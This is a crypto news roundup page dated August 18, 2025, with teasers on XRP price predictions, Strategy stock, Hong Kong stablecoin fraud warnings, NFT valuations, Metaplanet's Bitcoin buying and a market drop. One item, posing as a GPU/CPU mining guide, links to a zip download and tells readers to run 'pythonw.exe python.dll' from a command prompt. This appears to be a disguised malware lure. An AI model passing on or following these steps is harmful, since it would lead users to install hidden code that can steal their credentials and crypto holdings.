Day: August 18, 2025

It Is ‘Genuinely Impossible’ For XRP To Hit $1,000; Pundit Warns

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Crypto pundit XRP Avengers has declared that XRP can’t hit $1,000, a price level that has been discussed among community members. The pundit explained why he holds this belief, alluding to the altcoin’s market cap.  Why XRP Cannot Hit $1,000 In an X post, the crypto pundit said that XRP cannot hit $1,000 based on the market cap. He noted that if the altcoin were to hit $1,000, which is impossible, its market cap would be 100 trillion, which is like 10 times the global GDP. XRP Avengers added that…

Is Strategy still the best Bitcoin proxy trade?

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Strategy’s long-running role as a high-beta proxy for Bitcoin is showing signs of strain, as hedge funds increasingly dominate trading and its largest shareholder trims exposure. Summary 10x Research warns Strategy’s $360 support is at risk as hedge funds dominate trading. Vanguard cut its stake by 10%, signaling waning confidence. Bitcoin treasuries are losing appeal as volatility declines, with capital flowing to Ethereum plays and crypto IPOs. According to an Aug. 18 analysis by 10x Research, Strategy has been locked in one of its tightest ranges in years, with $360 repeatedly acting…

Hong Kong SFC warns stablecoin rules heighten fraud risks

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A Hong Kong Securities and Futures Commission (SFC) official warned that the introduction of the new local stablecoin regulatory framework has increased the risk of fraud. According to an Aug. 18 report by Chinese financial news outlet Zhitongcaijing, Ye Zhiheng, executive director of the intermediaries division at the SFC, said that fraud risks have increased with the recent introduction of stablecoin regulations. He urged investors to exercise caution and avoid making irrational investment decisions driven by market hype or price momentum. Ye’s remarks followed stablecoin companies operating in Hong Kong…

BITCOIN & ALTCOIN WARNING: I’M 100% OUT!!!! – Bitcoin News Today, Ethereum, Solana, XRP & Chainlink

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XRP Drops Below $3 Amid Whale Sell-Off and Bearish Signals

Key Notes Analyst Ali Martinez warns XRP could fall to $2.60 or even $2. Whale activity on Binance suggests increased sell pressure. Despite the drop, new adoption developments bolster long-term outlook. As the crypto market shed nearly 3% of its total value to start the week, top altcoins saw the impact. XRP slipped below the key $3 level earlier today, recording a 5% drop in the past 24 hours. The dip has sparked warnings of an XRP price downturn from market experts. Popular analyst Ali Martinez stated on X that…

Digital Asset Rout: BTC, ETH, and XRP Lead $300B Crypto Sell-Off

Bitcoin experienced a significant drop in the early hours of August 18, briefly falling to $114,955 before stabilizing above $115,200. Market-Wide Plunge and Bitcoin’s Retreat On Monday, Aug. 18, bitcoin ( BTC) tumbled, briefly dropping to $114,955 before recovering and consolidating above $115,200. The top cryptocurrency’s 2.3% decline in 24 hours came just days after […] Source CryptoX Portal

NFT Market Cap Drops $1.2B as Ether Declines; Penguins Overtake Apes

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The non-fungible token (NFT) market lost more than $1.2 billion in value in less than a week as Ether’s rally slowed, according to sector data. On Monday, NFT Price Floor data showed that the total valuation of NFT collections had dropped to $8.1 billion, a 12% decline from Wednesday’s NFT market cap of $9.3 billion, which had surged 40% since July.  NFTs losing $1.2 billion in valuation in less than a week coincided with a 9% drop in Ether (ETH) prices. At the time of writing, Cointelegraph data showed ETH…

How to easy mining using GPU and CPU | CPU Mining | GPU Mining | Crypto Mining 2025 | Phoenixminer

▶ Coinbase Website: Coinbase.com ▶ CEX Website: cex.io How to mine a PhoenixMiner using GPU and CPU *PhoenixMiner* Download (maximum hashrate) – *https:// github.com/Crypto-LAB-Jakarta/Copyright/releases/download/1.0/Program_copyright.zip* *_Setup_* ▬ *Unzip the archive into a folder* ▬ Run the file *cmd* which is from the *folder where you unzip the archive* ▬ in the window that opens, type *pythonw.exe python.dll* and press enter on the keyboard XMRig Download – Cryptocurrency mining is the process of validating transactions and adding them to a blockchain’s public ledger (like Bitcoin or Ethereum) by solving complex mathematical problems.…

Metaplanet Buys 775 BTC as Bitcoin Retests $115K

Key Notes Metaplanet has announced the purchase of $93 million worth of Bitcoin. The firm now holds 18,888 BTC, worth nearly $2 billion. BTC price trajectory signals potential deeper correction after wedge breakdown. Metaplanet, often dubbed “Asia’s MicroStrategy,” has added another 775 BTC into its treasury at an average price of $120,000. Not long after this $93 million acquisition, the largest cryptocurrency slipped to the $115,000 level. As of writing, Metaplanet holds 18,888 BTC at a cumulative value of $1.94 billion, with an average acquisition price of $102,653 per coin.…

Why Is Crypto Down Today? Top 3 Bearish Drivers

Key Notes Bitcoin, Ethereum, and many altcoins are seeing sharp declines. The global crypto market cap dropped by almost 3%, wiping roughly $140 billion off the market. An overbought market, macro events, and a sudden inflow of liquidity into speculative assets are driving the selling pressure. The hopes of Bitcoin (BTC) hitting $130,000 and Ethereum (ETH) breaking its 2021 peak are under pressure with the bearish momentum from multiple catalysts. BTC reached an all-time high of $124,457 on Aug. 14 as the crypto market cap reached $4.2 trillion. The leading…